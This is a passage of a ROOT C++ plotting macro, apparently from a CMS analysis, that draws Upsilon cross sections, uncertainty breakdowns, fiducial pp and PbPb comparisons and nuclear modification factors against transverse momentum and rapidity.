gPt3ppsyst->SetLineWidth(2);\n gPt3ppsyst->SetMarkerSize(0);\n gPt3ppsyst->Draw(\"2\");\n TGraphErrors *gpt3TNPpp = new TGraphErrors(nPtBins_2013,pt,CS3S_pp_tnp_pt2013,0,CS3S_pp_tnp_pt2013e);\n gpt3TNPpp->SetMarkerColor(color3Spp);\n gpt3TNPpp->SetMarkerStyle(22);\n gpt3TNPpp->SetMarkerSize(1.2);\n TGraphErrors *gpt3TNPcirclepp = new TGraphErrors(nPtBins_2013,pt,CS3S_pp_tnp_pt2013,0,CS3S_pp_tnp_pt2013e);\n gpt3TNPcirclepp->SetMarkerStyle(26);\n gpt3TNPcirclepp->SetMarkerSize(1.2);\n gpt3TNPcirclepp->SetLineColor(kBlack);\n f4Pt->Draw(\"same\");\n gpt3TNPpp->Draw(\"pe\");\n double mean_pp3 = gpt3TNPpp->GetMean(1);\n cout << \"3S mean = \"<< mean_pp3 << endl;\n gpt3TNPcirclepp->Draw(\"p\");\n \n TGraphErrors *gpt1TNPpp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,0,CS1S_pp_tnp_pte);\n gpt1TNPpp->SetMarkerColor(color1Spp);\n gpt1TNPpp->SetMarkerStyle(21);\n gpt1TNPpp->SetMarkerSize(1.2);\n TGraphErrors *gpt1circlepp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,0,CS1S_pp_tnp_pte);\n gpt1circlepp->SetMarkerStyle(25);\n gpt1circlepp->SetMarkerSize(1.2);\n gpt1circlepp->SetLineColor(kBlack);\n TGraphErrors *gPt1ppsyst = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,pte,CS1S_pp_tnp_pts);\n gPt1ppsyst->SetLineColor(color1Spp);\n gPt1ppsyst->SetFillStyle(0);\n gPt1ppsyst->SetLineWidth(2);\n gPt1ppsyst->SetMarkerSize(0);\n gPt1ppsyst->Draw(\"2\");\n gpt1TNPpp->Draw(\"pe\");\n gpt1TNPcirclepp->Draw(\"p\");\n \n }\n\n\n //f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n //f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.24,0.19,0.49,0.40);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n if (plotTNP)\n {\n legend->AddEntry(gpt1TNPpp,\"#varUpsilon(1S) \",\"pe\"); \n legend->AddEntry(gpt2TNPpp,\"#varUpsilon(2S) \",\"pe\");\n legend->AddEntry(gpt3TNPpp,\"#varUpsilon(3S) \",\"pe\");\n }\n else\n {\n legend->AddEntry(gpt1pp,\"#varUpsilon(1S) \",\"pe\"); \n legend->AddEntry(gpt2pp,\"#varUpsilon(2S) \",\"pe\");\n legend->AddEntry(gpt3pp,\"#varUpsilon(3S) \",\"pe\");\n }\n legend->Draw();\n\n // |y| < 2.4\n TLatex latexpt;\n latexpt.SetTextSize(gTextSize);\n latexpt.SetTextFont(42);\n TLatex *latexpttxt = latexpt.DrawLatex(15.7,0.025,\"|y| < 2.4\");\n\n CMS_lumi(cptpp,102,33);\n cptpp->Update();\n cptpp->RedrawAxis();\n cptpp->GetFrame()->Draw();\n \n cptpp->SaveAs(basedir2 + TString(\"/CS1S_ppPt.pdf\"));\n cptpp->SaveAs(basedir1 + TString(\"/Xsection_pp1S_Pt.png\"));\n\n if (plotLin)\n {\n cptpp->SetLogy(0);\n legend->SetX1NDC(0.77); legend->SetX2NDC(1.); legend->SetY1NDC(0.40); legend->SetY2NDC(0.61); legend->Draw();\n cptpp->cd();\n gPad->Update();\n f4Pt->GetYaxis()->SetRangeUser(0.,0.12);\n f4Pt->GetYaxis()->SetTitleOffset(1.8);\n f4Pt->GetYaxis()->SetTitleSize(0.04);\n latexpttxt->SetY(0.085);\n latexpttxt->Draw();\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n cptpp->SaveAs(basedir2 + TString(\"/CS1S_ppPt_lin.pdf\"));\n cptpp->SaveAs(basedir1 + TString(\"/Xsection_pp1S_Pt_lin.png\"));\n }\n }\n\n for(int u=0;u<nPtBins_2013;u++){\n cs1Spppt_stat[u]+=pt1[u];\n cs1Spppt_fits[u]+=pt1[u];\n cs1Spppt_muid[u]+=pt1[u];\n cs1Spppt_sta[u]+=pt1[u];\n cs1Spppt_lumiGen[u]+=pt1[u];\n\n cs2Spppt_stat[u]+=pt1[u];\n cs2Spppt_fits[u]+=pt1[u];\n cs2Spppt_muid[u]+=pt1[u];\n cs2Spppt_sta[u]+=pt1[u];\n cs2Spppt_lumiGen[u]+=pt1[u];\n\n cs3Spppt_stat[u]+=pt1[u];\n cs3Spppt_fits[u]+=pt1[u];\n cs3Spppt_muid[u]+=pt1[u];\n cs3Spppt_sta[u]+=pt1[u];\n cs3Spppt_lumiGen[u]+=pt1[u];\n }\n\n for(int u=0;u<nRapBins_2014;u++){\n cs1Spprap_stat[u]+=rap1[u];\n cs1Spprap_fits[u]+=rap1[u];\n cs1Spprap_muid[u]+=rap1[u];\n cs1Spprap_sta[u]+=rap1[u];\n cs1Spprap_lumiGen[u]+=rap1[u];\n\n cs2Spprap_stat[u]+=rap1[u];\n cs2Spprap_fits[u]+=rap1[u];\n cs2Spprap_muid[u]+=rap1[u];\n cs2Spprap_sta[u]+=rap1[u];\n cs2Spprap_lumiGen[u]+=rap1[u];\n\n cs3Spprap_stat[u]+=rap1[u];\n cs3Spprap_fits[u]+=rap1[u];\n cs3Spprap_muid[u]+=rap1[u];\n cs3Spprap_sta[u]+=rap1[u];\n cs3Spprap_lumiGen[u]+=rap1[u];\n }\n TCanvas *crapppS = new TCanvas(\"crapppS\",\"crapppS\",1200,600); \n crapppS->Divide(3);\n crapppS->cd(1);\n TF1 *f4Ps = new TF1(\"f4Ps\",\"1\",0,2.4);\n f4Ps->SetLineWidth(0);\n f4Ps->SetLineColor(1);\n // f4Ps->GetYaxis()->SetTitleOffset(1.5);\n f4Ps->GetXaxis()->SetTitle(\"|y|\");\t\t\n f4Ps->GetYaxis()->SetTitle(\"size of uncertainties, #sigma = 1\"); // % of #frac{1}{#Deltay} #frac{d#sigma[#varUpsilon(1S)]}{dp_{T}} [nb/ GeV/c]\n\n f4Ps->GetXaxis()->SetTitleSize(0.045);\n f4Ps->GetXaxis()->SetTitleOffset(f4Ps->GetXaxis()->GetTitleOffset()*1.3);\n f4Ps->GetYaxis()->SetTitleSize(0.045);\n f4Ps->GetYaxis()->SetLabelSize(0.9*f4Ps->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Ps->GetYaxis()->SetTitleOffset(1.55);\n f4Ps->GetYaxis()->SetRangeUser(1.0,1.3);\n f4Ps->GetXaxis()->CenterTitle(kTRUE);\n f4Ps->Draw();\n TGraphErrors *g2stat = new TGraphErrors(nRapBins_2014,rap2014,cs1Spprap_stat,rap2014e,0);\n g2stat->SetLineColor(1);\n g2stat->SetFillStyle(0);\n g2stat->SetLineWidth(3);\n g2stat->SetMarkerSize(0);\n g2stat->Draw(\"2\");\n TGraphErrors *g2fits = new TGraphErrors(nRapBins_2014,rap2014,cs1Spprap_fits,rap2014e,0);\n g2fits->SetLineColor(2);\n g2fits->SetFillStyle(0);\n g2fits->SetLineWidth(3);\n g2fits->SetMarkerSize(0);\n g2fits->Draw(\"2\");\n TGraphErrors *g2muid = new TGraphErrors(nRapBins_2014,rap2014,cs1Spprap_muid,rap2014e,0);\n g2muid->SetLineColor(3);\n g2muid->SetFillStyle(0);\n g2muid->SetLineWidth(3);\n g2muid->SetMarkerSize(0);\n g2muid->Draw(\"2\");\n TGraphErrors *g2sta = new TGraphErrors(nRapBins_2014,rap2014,cs1Spprap_sta,rap2014e,0);\n g2sta->SetLineColor(4);\n g2sta->SetFillStyle(0);\n g2sta->SetLineWidth(3);\n g2sta->SetMarkerSize(0);\n g2sta->Draw(\"2\");\n TGraphErrors *g2lumiGen = new TGraphErrors(nRapBins_2014,rap2014,cs1Spprap_lumiGen,rap2014e,0);\n g2lumiGen->SetLineColor(5);\n g2lumiGen->SetFillStyle(0);\n g2lumiGen->SetLineWidth(3);\n g2lumiGen->SetMarkerSize(0);\n g2lumiGen->Draw(\"2\");\n\n crapppS->cd(2);\n f4Ps->Draw();\n TGraphErrors *g2stat = new TGraphErrors(nRapBins_2014,rap2014,cs2Spprap_stat,rap2014e,0);\n g2stat->SetLineColor(1);\n g2stat->SetFillStyle(0);\n g2stat->SetLineWidth(3);\n g2stat->SetMarkerSize(0);\n g2stat->Draw(\"2\");\n TGraphErrors *g2fits = new TGraphErrors(nRapBins_2014,rap2014,cs2Spprap_fits,rap2014e,0);\n g2fits->SetLineColor(2);\n g2fits->SetFillStyle(0);\n g2fits->SetLineWidth(3);\n g2fits->SetMarkerSize(0);\n g2fits->Draw(\"2\");\n TGraphErrors *g2muid = new TGraphErrors(nRapBins_2014,rap2014,cs2Spprap_muid,rap2014e,0);\n g2muid->SetLineColor(3);\n g2muid->SetFillStyle(0);\n g2muid->SetLineWidth(3);\n g2muid->SetMarkerSize(0);\n g2muid->Draw(\"2\");\n TGraphErrors *g2sta = new TGraphErrors(nRapBins_2014,rap2014,cs2Spprap_sta,rap2014e,0);\n g2sta->SetLineColor(4);\n g2sta->SetFillStyle(0);\n g2sta->SetLineWidth(3);\n g2sta->SetMarkerSize(0);\n g2sta->Draw(\"2\");\n TGraphErrors *g2lumiGen = new TGraphErrors(nRapBins_2014,rap2014,cs2Spprap_lumiGen,rap2014e,0);\n g2lumiGen->SetLineColor(5);\n g2lumiGen->SetFillStyle(0);\n g2lumiGen->SetLineWidth(3);\n g2lumiGen->SetMarkerSize(0);\n g2lumiGen->Draw(\"2\");\n\n crapppS->cd(3);\n f4Ps->Draw();\n TGraphErrors *g2stat = new TGraphErrors(nRapBins_2014,rap2014,cs3Spprap_stat,rap2014e,0);\n g2stat->SetLineColor(1);\n g2stat->SetFillStyle(0);\n g2stat->SetLineWidth(3);\n g2stat->SetMarkerSize(0);\n g2stat->Draw(\"2\");\n TGraphErrors *g2fits = new TGraphErrors(nRapBins_2014,rap2014,cs3Spprap_fits,rap2014e,0);\n g2fits->SetLineColor(2);\n g2fits->SetFillStyle(0);\n g2fits->SetLineWidth(3);\n g2fits->SetMarkerSize(0);\n g2fits->Draw(\"2\");\n TGraphErrors *g2muid = new TGraphErrors(nRapBins_2014,rap2014,cs3Spprap_muid,rap2014e,0);\n g2muid->SetLineColor(3);\n g2muid->SetFillStyle(0);\n g2muid->SetLineWidth(3);\n g2muid->SetMarkerSize(0);\n g2muid->Draw(\"2\");\n TGraphErrors *g2sta = new TGraphErrors(nRapBins_2014,rap2014,cs3Spprap_sta,rap2014e,0);\n g2sta->SetLineColor(4);\n g2sta->SetFillStyle(0);\n g2sta->SetLineWidth(3);\n g2sta->SetMarkerSize(0);\n g2sta->Draw(\"2\");\n TGraphErrors *g2lumiGen = new TGraphErrors(nRapBins_2014,rap2014,cs3Spprap_lumiGen,rap2014e,0);\n g2lumiGen->SetLineColor(5);\n g2lumiGen->SetFillStyle(0);\n g2lumiGen->SetLineWidth(3);\n g2lumiGen->SetMarkerSize(0);\n g2lumiGen->Draw(\"2\");\n\n crapppS->SaveAs(basedir2 + TString(\"/Uncertainties_Rap.pdf\"));\n crapppS->SaveAs(basedir1 + TString(\"/Uncertainties_Rap.png\"));\n\n TCanvas *cptppS = new TCanvas(\"cptppS\",\"cptppS\",1200,600); \n cptppS->Divide(3);\n cptppS->cd(1);\n TF1 *f4Ps1 = new TF1(\"f4Ps1\",\"1\",0,20);\n f4Ps1->SetLineWidth(0);\n f4Ps1->SetLineColor(1);\n // f4Ps->GetYaxis()->SetTitleOffset(1.5);\n f4Ps1->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Ps1->GetYaxis()->SetTitle(\"size of uncertainties, #sigma = 1\"); // % of #frac{1}{#Deltay} #frac{d#sigma[#varUpsilon(1S)]}{dp_{T}} [nb/ GeV/c]\n\n f4Ps1->GetXaxis()->SetTitleSize(0.045);\n f4Ps1->GetXaxis()->SetTitleOffset(f4Ps->GetXaxis()->GetTitleOffset()*1.3);\n f4Ps1->GetYaxis()->SetTitleSize(0.045);\n f4Ps1->GetYaxis()->SetLabelSize(0.9*f4Ps->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Ps1->GetYaxis()->SetTitleOffset(1.55);\n f4Ps1->GetYaxis()->SetRangeUser(1.0,1.3);\n f4Ps1->GetXaxis()->CenterTitle(kTRUE);\n f4Ps1->Draw();\n TGraphErrors *g2stat = new TGraphErrors(nPtBins_2013,pt,cs1Spppt_stat,pte,0);\n g2stat->SetLineColor(1);\n g2stat->SetFillStyle(0);\n g2stat->SetLineWidth(3);\n g2stat->SetMarkerSize(0);\n g2stat->Draw(\"2\");\n TGraphErrors *g2fits = new TGraphErrors(nPtBins_2013,pt,cs1Spppt_fits,pte,0);\n g2fits->SetLineColor(2);\n g2fits->SetFillStyle(0);\n g2fits->SetLineWidth(3);\n g2fits->SetMarkerSize(0);\n g2fits->Draw(\"2\");\n TGraphErrors *g2muid = new TGraphErrors(nPtBins_2013,pt,cs1Spppt_muid,pte,0);\n g2muid->SetLineColor(3);\n g2muid->SetFillStyle(0);\n g2muid->SetLineWidth(3);\n g2muid->SetMarkerSize(0);\n g2muid->Draw(\"2\");\n TGraphErrors *g2sta = new TGraphErrors(nPtBins_2013,pt,cs1Spppt_sta,pte,0);\n g2sta->SetLineColor(4);\n g2sta->SetFillStyle(0);\n g2sta->SetLineWidth(3);\n g2sta->SetMarkerSize(0);\n g2sta->Draw(\"2\");\n TGraphErrors *g2lumiGen = new TGraphErrors(nPtBins_2013,pt,cs1Spppt_lumiGen,pte,0);\n g2lumiGen->SetLineColor(5);\n g2lumiGen->SetFillStyle(0);\n g2lumiGen->SetLineWidth(3);\n g2lumiGen->SetMarkerSize(0);\n g2lumiGen->Draw(\"2\");\n\n cptppS->cd(2);\n f4Ps1->Draw();\n TGraphErrors *g2stat = new TGraphErrors(nPtBins_2013,pt,cs2Spppt_stat,pte,0);\n g2stat->SetLineColor(1);\n g2stat->SetFillStyle(0);\n g2stat->SetLineWidth(3);\n g2stat->SetMarkerSize(0);\n g2stat->Draw(\"2\");\n TGraphErrors *g2fits = new TGraphErrors(nPtBins_2013,pt,cs2Spppt_fits,pte,0);\n g2fits->SetLineColor(2);\n g2fits->SetFillStyle(0);\n g2fits->SetLineWidth(3);\n g2fits->SetMarkerSize(0);\n g2fits->Draw(\"2\");\n TGraphErrors *g2muid = new TGraphErrors(nPtBins_2013,pt,cs2Spppt_muid,pte,0);\n g2muid->SetLineColor(3);\n g2muid->SetFillStyle(0);\n g2muid->SetLineWidth(3);\n g2muid->SetMarkerSize(0);\n g2muid->Draw(\"2\");\n TGraphErrors *g2sta = new TGraphErrors(nPtBins_2013,pt,cs2Spppt_sta,pte,0);\n g2sta->SetLineColor(4);\n g2sta->SetFillStyle(0);\n g2sta->SetLineWidth(3);\n g2sta->SetMarkerSize(0);\n g2sta->Draw(\"2\");\n TGraphErrors *g2lumiGen = new TGraphErrors(nPtBins_2013,pt,cs2Spppt_lumiGen,pte,0);\n g2lumiGen->SetLineColor(5);\n g2lumiGen->SetFillStyle(0);\n g2lumiGen->SetLineWidth(3);\n g2lumiGen->SetMarkerSize(0);\n g2lumiGen->Draw(\"2\");\n\n cptppS->cd(3);\n f4Ps1->Draw();\n TGraphErrors *g2stat = new TGraphErrors(nPtBins_2013,pt,cs3Spppt_stat,pte,0);\n g2stat->SetLineColor(1);\n g2stat->SetFillStyle(0);\n g2stat->SetLineWidth(3);\n g2stat->SetMarkerSize(0);\n g2stat->Draw(\"2\");\n TGraphErrors *g2fits = new TGraphErrors(nPtBins_2013,pt,cs3Spppt_fits,pte,0);\n g2fits->SetLineColor(2);\n g2fits->SetFillStyle(0);\n g2fits->SetLineWidth(3);\n g2fits->SetMarkerSize(0);\n g2fits->Draw(\"2\");\n TGraphErrors *g2muid = new TGraphErrors(nPtBins_2013,pt,cs3Spppt_muid,pte,0);\n g2muid->SetLineColor(3);\n g2muid->SetFillStyle(0);\n g2muid->SetLineWidth(3);\n g2muid->SetMarkerSize(0);\n g2muid->Draw(\"2\");\n TGraphErrors *g2sta = new TGraphErrors(nPtBins_2013,pt,cs3Spppt_sta,pte,0);\n g2sta->SetLineColor(4);\n g2sta->SetFillStyle(0);\n g2sta->SetLineWidth(3);\n g2sta->SetMarkerSize(0);\n g2sta->Draw(\"2\");\n TGraphErrors *g2lumiGen = new TGraphErrors(nPtBins_2013,pt,cs3Spppt_lumiGen,pte,0);\n g2lumiGen->SetLineColor(5);\n g2lumiGen->SetFillStyle(0);\n g2lumiGen->SetLineWidth(3);\n g2lumiGen->SetMarkerSize(0);\n g2lumiGen->Draw(\"2\");\n\n cptppS->SaveAs(basedir2 + TString(\"/Uncertainties_Pt.pdf\"));\n cptppS->SaveAs(basedir1 + TString(\"/Uncertainties_Pt.png\"));\n \n if(plotFiducial){\n //////////\n //2S+1S pp FIDUCIAL\n TCanvas *cptppFiducial = new TCanvas(\"cptppFiducial\",\"cptppFiducial\"); \n cptppFiducial->cd();\n TPad *ppt1ppFiducial = new TPad(\"ppt1ppFiducial\",\"ppt1ppFiducial\",0.0,0.0,1.0,1.0);\n ppt1ppFiducial->SetBottomMargin(0.12);\n ppt1ppFiducial->SetTopMargin(0.03);\n ppt1ppFiducial->SetRightMargin(0.03);\n ppt1ppFiducial->SetLeftMargin(0.16);\n ppt1ppFiducial->SetLogy();\n ppt1ppFiducial->Draw();\n ppt1ppFiducial->cd();\n TF1 *f4Pt = new TF1(\"f4Pt\",\"0.000000001\",0,21);\n f4Pt->SetLineWidth(0);\n f4Pt->GetYaxis()->SetTitleOffset(2);\n f4Pt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Pt->GetYaxis()->SetTitle(\"#frac{1}{L_{pp}}#frac{N}{#varepsilon #Deltap_{T}} (b/(GeV/c))\");\n\n f4Pt->GetYaxis()->SetTitleSize(0.028);\n //f4Pt->GetYaxis()->SetRangeUser(0.01,.09);\n f4Pt->GetXaxis()->CenterTitle(kTRUE);\n f4Pt->Draw();\n TGraphErrors *g2ptFiducial = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_pt2013Fiducial,pte,CS2S_pp_pt2013Fiduciale);\n g2ptFiducial->SetMarkerColor(color2Spp);\n g2ptFiducial->SetMarkerStyle(21);\n g2ptFiducial->SetMarkerSize(1.2);\n\n\n // TGraphErrors *g2Ssyst = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_pt2013,pte,CS2S_pp_pt2013e);\n // g2Ssyst->SetLineColor(kAzure+1);\n // g2Ssyst->SetFillStyle(0);\n // // g2Ssyst->SetLineWidth(18);\n // g2Ssyst->SetMarkerSize(0);\n // g2Ssyst->Draw(\"2\");\n\n\n TGraphErrors *g2circleF = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_pt2013Fiducial,pte,CS2S_pp_pt2013Fiduciale);\n g2circleF->SetMarkerStyle(25);\n g2circleF->SetMarkerSize(1.2);\n g2circleF->SetLineColor(kBlack);\n g2ptFiducial->Draw(\"pe\");\n g2circleF->Draw(\"p\");\n\nTGraphErrors *gpt1ppF = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_ptFiducial,pte,CS1S_pp_ptFiduciale);\n gpt1ppF->SetMarkerColor(color1Spp);\n gpt1ppF->SetMarkerStyle(21);\n gpt1ppF->SetMarkerSize(1.2);\n TGraphErrors *gpt1circleFpp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_ptFiducial,pte,CS1S_pp_ptFiduciale);\n gpt1circleFpp->SetMarkerStyle(25);\n gpt1circleFpp->SetMarkerSize(1.22);\n gpt1circleFpp->SetLineColor(kBlack);\n gpt1ppF->Draw(\"pe\");\n gpt1circleFpp->Draw(\"p\");\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gpt1ppF,\"#varUpsilon(1S), pp \",\"pe\");\n legend->AddEntry(g2ptFiducial,\"#varUpsilon(2S), pp \",\"pe\");\n legend->Draw();\n TLatex *l1CMSpt = new TLatex(2,0.0000000008, \"CMS Internal #sqrt{s} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n \n TLatex *lyL= new TLatex(2,0.0000000005,\"L_{pp} = 5.4 pb^{-1}; |y| < 2.4\");\n lyL->SetTextSize(0.04);\nlyL->DrawLatex(2,0.000000002,\"Fiducial\");\n lyL->Draw();\n\n\n //comparison pp,pbpb fiducial\n\n\n\nTCanvas *cptFiducial = new TCanvas(\"cptFiducial\",\"cptFiducial\"); \n cptFiducial->cd();\n TPad *ppt1ppFiducial = new TPad(\"ppt1ppFiducial\",\"ppt1ppFiducial\",0.0,0.0,1.0,1.0);\n ppt1ppFiducial->SetBottomMargin(0.12);\n ppt1ppFiducial->SetTopMargin(0.03);\n ppt1ppFiducial->SetRightMargin(0.03);\n ppt1ppFiducial->SetLeftMargin(0.16);\n ppt1ppFiducial->SetLogy();\n ppt1ppFiducial->Draw();\n ppt1ppFiducial->cd();\n TF1 *f4Pt = new TF1(\"f4Pt\",\"0.000000001\",0,21);\n f4Pt->SetLineWidth(0);\n f4Pt->GetYaxis()->SetTitleOffset(2);\n f4Pt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Pt->GetYaxis()->SetTitle(\"#frac{1}{L_{pp}}#frac{N}{#varepsilon #Deltap_{T}} (b/(GeV/c))\");\n\n f4Pt->GetYaxis()->SetTitleSize(0.028);\n //f4Pt->GetYaxis()->SetRangeUser(0.01,.09);\n f4Pt->GetXaxis()->CenterTitle(kTRUE);\n f4Pt->Draw();\n\nTGraphErrors *gpt1F = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_ptFiducial,pte,CS1S_aa_ptFiduciale);\n gpt1F->SetMarkerColor(color1Saa);\n gpt1F->SetMarkerStyle(33);\n gpt1F->SetMarkerSize(2);\n\n\n\n TGraphErrors *gpt1circle = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_ptFiducial,pte,CS1S_aa_ptFiduciale);\n gpt1circle->SetMarkerStyle(27);\n gpt1circle->SetMarkerSize(2);\n gpt1circle->SetLineColor(kBlack);\n gpt1F->Draw(\"pe\");\n gpt1circle->Draw(\"p\");\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n \n\nTGraphErrors *gpt1ppF = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_ptFiducial,pte,CS1S_pp_ptFiduciale);\n gpt1ppF->SetMarkerColor(color1Spp);\n gpt1ppF->SetMarkerStyle(21);\n gpt1ppF->SetMarkerSize(1.2);\n TGraphErrors *gpt1circleFpp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_ptFiducial,pte,CS1S_pp_ptFiduciale);\n gpt1circleFpp->SetMarkerStyle(25);\n gpt1circleFpp->SetMarkerSize(1.22);\n gpt1circleFpp->SetLineColor(kBlack);\n gpt1ppF->Draw(\"pe\");\n gpt1circleFpp->Draw(\"p\");\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n legend = new TLegend(0.482,0.84,0.88,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gpt1ppF,\"#varUpsilon(1S), pp \",\"pe\");\n legend->AddEntry(gpt1F,\"#varUpsilon(1S), PbPb \",\"pe\");\n legend->Draw();\n TLatex *l1CMSpt = new TLatex(2,0.0000000008, \"CMS Internal #sqrt{s} = 2.76 TeV\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.032);\n l1CMSpt->Draw();\n \n TLatex *lyL= new TLatex(2,0.000000008,\"L_{pp} = 5.4 pb^{-1}; |y| < 2.4\");\n lyL->SetTextSize(0.04);\nlyL->DrawLatex(2,0.000000002,\"Fiducial\");\n lyL->Draw();\n\n }\n ///raa vs pt\n\n if(plotRAA){\n TCanvas *cRaapt = new TCanvas(\"cRaapt\",\"cRaapt\"); \n cRaapt->cd();\n TF1 *f4RaaPt = new TF1(\"f4RaaPt\",\"1\",0,20);\n f4RaaPt->SetLineWidth(0);\n f4RaaPt->SetLineColor(kBlack);\n f4RaaPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\n f4RaaPt->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaPt->GetXaxis()->SetTitleOffset(f4RaaPt->GetXaxis()->GetTitleOffset()*1.3);\n f4RaaPt->GetXaxis()->SetTitleSize(0.045);\n f4RaaPt->GetYaxis()->SetRangeUser(0.,1.4);\n f4RaaPt->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPt->Draw();\n TGraphErrors *gRaaPt1 = new TGraphErrors(nPtBins_2013,pt,RAA_1S_pt,pte,RAA_1S_pte);\n gRaaPt1->SetMarkerColor(color1Spp);\n gRaaPt1->SetMarkerStyle(21);\n gRaaPt1->SetMarkerSize(1.2);\n TGraphErrors *gRaaPt1circle = new TGraphErrors(nPtBins_2013,pt,RAA_1S_pt,pte,RAA_1S_pte);\n gRaaPt1circle->SetMarkerStyle(25);\n gRaaPt1circle->SetMarkerSize(1.2);\n gRaaPt1circle->SetLineColor(kBlack);\n if(!plotTNP){\n gRaaPt1->Draw(\"pe\");\n gRaaPt1circle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n }\n if(plotTNP){\n TGraphErrors *gRaaPt1TNP = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt,0,RAA_1S_tnp_pte);\n gRaaPt1TNP->SetMarkerColor(color1Sraa);\n gRaaPt1TNP->SetMarkerStyle(21);\n gRaaPt1TNP->SetMarkerSize(1.2);\n TGraphErrors *gRaaPt1TNPcircle = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt,0,RAA_1S_tnp_pte);\n gRaaPt1TNPcircle->SetMarkerStyle(25);\n gRaaPt1TNPcircle->SetMarkerSize(1.2);\n gRaaPt1TNPcircle->SetLineColor(kBlack);\n gRaaPt1TNP->Draw(\"pe\");\n gRaaPt1TNPcircle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n\n TGraphErrors *gRaaPt1syst = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt,pte,RAA_1S_tnp_pts);\n gRaaPt1syst->SetLineColor(color1Sraa);\n gRaaPt1syst->SetFillStyle(0);\n gRaaPt1syst->SetLineWidth(2);\n gRaaPt1syst->SetMarkerSize(0);\n gRaaPt1syst->Draw(\"2\");\n\n if(plotTight){\n TGraphErrors *gRaaPt1TNP4 = new TGraphErrors(nPtBins_2013,ptShift,RAA_1S_tnp_pt4,0,RAA_1S_tnp_pt4e);\n gRaaPt1TNP4->SetMarkerColor(color1Sraa);\n gRaaPt1TNP4->SetMarkerStyle(21);\n gRaaPt1TNP4->SetMarkerSize(1.2);\n TGraphErrors *gRaaPt1TNPcircle4 = new TGraphErrors(nPtBins_2013,ptShift,RAA_1S_tnp_pt4,0,RAA_1S_tnp_pt4e);\n gRaaPt1TNPcircle4->SetMarkerStyle(25);\n gRaaPt1TNPcircle4->SetMarkerSize(1.2);\n gRaaPt1TNPcircle4->SetLineColor(kBlack);\n gRaaPt1TNP4->Draw(\"pe\");\n gRaaPt1TNPcircle4->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n\n TGraphErrors *gRaaPt1syst4 = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt4,pte,RAA_1S_tnp_pt4s);\n gRaaPt1syst4->SetLineColor(color1Sraa);\n gRaaPt1syst4->SetFillStyle(0);\n gRaaPt1syst4->SetLineWidth(2);\n gRaaPt1syst4->SetMarkerSize(0);\n gRaaPt1syst4->Draw(\"2\");\n\n }else{\n TGraphErrors *gRaaPt2TNP = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_tnp_pt,0,RAA_2S_tnp_pte);\n gRaaPt2TNP->SetMarkerColor(color2Sraa);\n gRaaPt2TNP->SetMarkerStyle(20);\n gRaaPt2TNP->SetMarkerSize(1.2);\n TGraphErrors *gRaaPt2TNPcircle = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_tnp_pt,0,RAA_2S_tnp_pte);\n gRaaPt2TNPcircle->SetMarkerStyle(24);\n gRaaPt2TNPcircle->SetMarkerSize(1.2);\n gRaaPt2TNPcircle->SetLineColor(kBlack);\n gRaaPt2TNP->Draw(\"pe\");\n gRaaPt2TNPcircle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n TGraphErrors *gRaaPt2syst = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_tnp_pt,pt2010e,RAA_2S_tnp_pts);\n gRaaPt2syst->SetLineColor(color2Sraa);\n gRaaPt2syst->SetFillStyle(0);\n gRaaPt2syst->SetLineWidth(2);\n gRaaPt2syst->SetMarkerSize(0);\n gRaaPt2syst->Draw(\"2\");\n \n }\n }\n TBox *box = new TBox(19,1-syst1S_raa_global,20,1+syst1S_raa_global);\n \n box->SetFillColor(kGray);//color1Sraa);\n box->Draw();\n\n //2010stuff\n // legend = new 